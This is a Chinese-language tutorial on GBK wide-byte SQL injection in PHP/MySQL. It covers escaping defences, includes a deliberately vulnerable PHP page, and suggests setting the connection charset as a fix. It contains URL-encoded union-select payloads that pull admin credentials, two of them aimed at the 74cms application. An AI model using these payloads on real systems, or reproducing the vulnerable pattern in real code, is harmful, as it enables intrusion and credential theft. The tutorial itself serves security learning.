Test:什么是宽字节注入?怎么防止sql注入?
00x1 防止数字型sql注入
说到mysql宽字节注入之前要提的是php中常见的sql防护思路。
php是弱类型的语言,而弱类型的语言在开发中很容易出现数字型的注入,所以对于这方面的防御,应该要有严格的数据类型。
比如:用is_numeric()、ctype_digit()判断字符类型。或者自定义一个check_sql函数对select union关键字进行过滤。
这类的防御比较简单,但是字符型的防注入就比较麻烦了。就是要将单引号转义,让sql语句的引号没有闭合,造成报错,达到防止注入的手段。
00x2 防止字符型型sql注入
Mysql防注入转义:
1.魔术引号开启
Php.ini文件中 magic_quote_gpc=on 开启
2.函数限制
addslashes ();
3、icov等
4、mysql_real_escape_string
00x3 关于宽字节注入
我们打开php配置文件将gpc魔术引号开启
开启前的效果:
这时候就不行了,看报错语句。就是引号被\转义。
这时候我们可以用编码绕过,祭出我们的小葵大杀器。
成功注入。
同样我们关掉gpc字符转义,然后用addslashes()函数。
效果一样,编码也能绕过。
但是要主义的是,这两个(GPC和addslashes不要同时开启)不要同时开启,否则会因为\被斜杠转义,使得引号逃逸出来就可以正常的注入了。比如这个语句:select * from admin where id =1\\’ 就相当与这个:select * from admin where id =1’
所以接下来的宽字节注入就是这个原理。
我们这里的宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)。首先模仿phithon牛的代码。
code:
<?php
//连接数据库部分,注意使用了gbk编码
$conn = mysql_connect('localhost', 'root', 'vaf') or die('bad!');
mysql_query("SET NAMES 'gbk'");
mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库");
//执行sql语句
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$sql = "SELECT * FROM news WHERE tid='{$id}'";
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="gbk" />
<title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>
数据库之前的即可,如果我们输入%df’看会怎样:
输入前:
输入后:
斜杠是%5c,和%df构成一个宽字节, %df%5c也就是相当于:運’
如果再输入%df,则就成了%df %df %5c,程序会把%df%df看作一个字节,也就不报错了。因为%df%df是一个汉字,%5c%27不是汉字,仍然是\’。
这个是宽字符编码集:http://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php
那么mysql怎么判断一个字符是不是汉字,根据gbk编码,第一个字节ascii码大于128,基本上就可以了。比如我们不用%df,用%a1也可以:
虽然%a1%5c不是汉子,但是也是宽字符的一种。
那么我们可以构造一个exp来查询管理员的帐号密码:
localhost/index.php?id=-1%AA%27union%20select%201,2,concat(name,0x23,pass)%20from%20admin%23
这里为什么要用%AA呢?因为看下图:
%AA%27这里是空了,所以相当于空格。即%20,换成%AB。也一样可以的,这些应该是还没用到的GBK编码表
concat是一个字符串连接函数,我们连接两个字段进行查询。
gb2312和gbk应该都是宽字节家族的一员,但是gb2312是无法注入的。比如将这边改为gb2312。
有些同学不信的话,也可以把数据库编码也改成gb2312,也是不成功的。
为什么,这归结于gb2312编码的取值范围。它的高位范围是0xA1~0xF7,低位范围是0xA1~0xFE,而\是0x5c,是不在低位范围中的。所以,0x5c根本不是gb2312中的编码,所以自然也是不会被吃掉的
除了gbk以外,所有ANSI编码都是2个字节。ansi只是一个标准,在不用的电脑上它代表的编码可能不相同,比如简体中文系统中ANSI就代表是GBK。
00x4 关于修复:
指定php连接mysql的字符集。我们需要在执行sql语句之前调用一下mysql_set_charset函数,设置当前连接的字符集为gbk。
然后加以mysql_set_charast()
当然以上只是提到的一种,本文只是让你对宽字节注入入门而已。具体对于这个宽字节注入的特性,以及绕过防御还有几种方法。
以后有机会说吧。
00x5 利用:
这里用74cms演示:
Payload:http://host/plus/ajax_common.php?act=hotword&query=aa%%E9%8C%A6%27%20union%20select%201,concat(version(),user()),3%23%27
Payload:http://host/plus/ajax_common.php?act=hotword&query=aa%%E9%8C%A6%27%20union%20select%201,concat(admin_name,0x23,pwd),3%20from%20qs_admin%23%27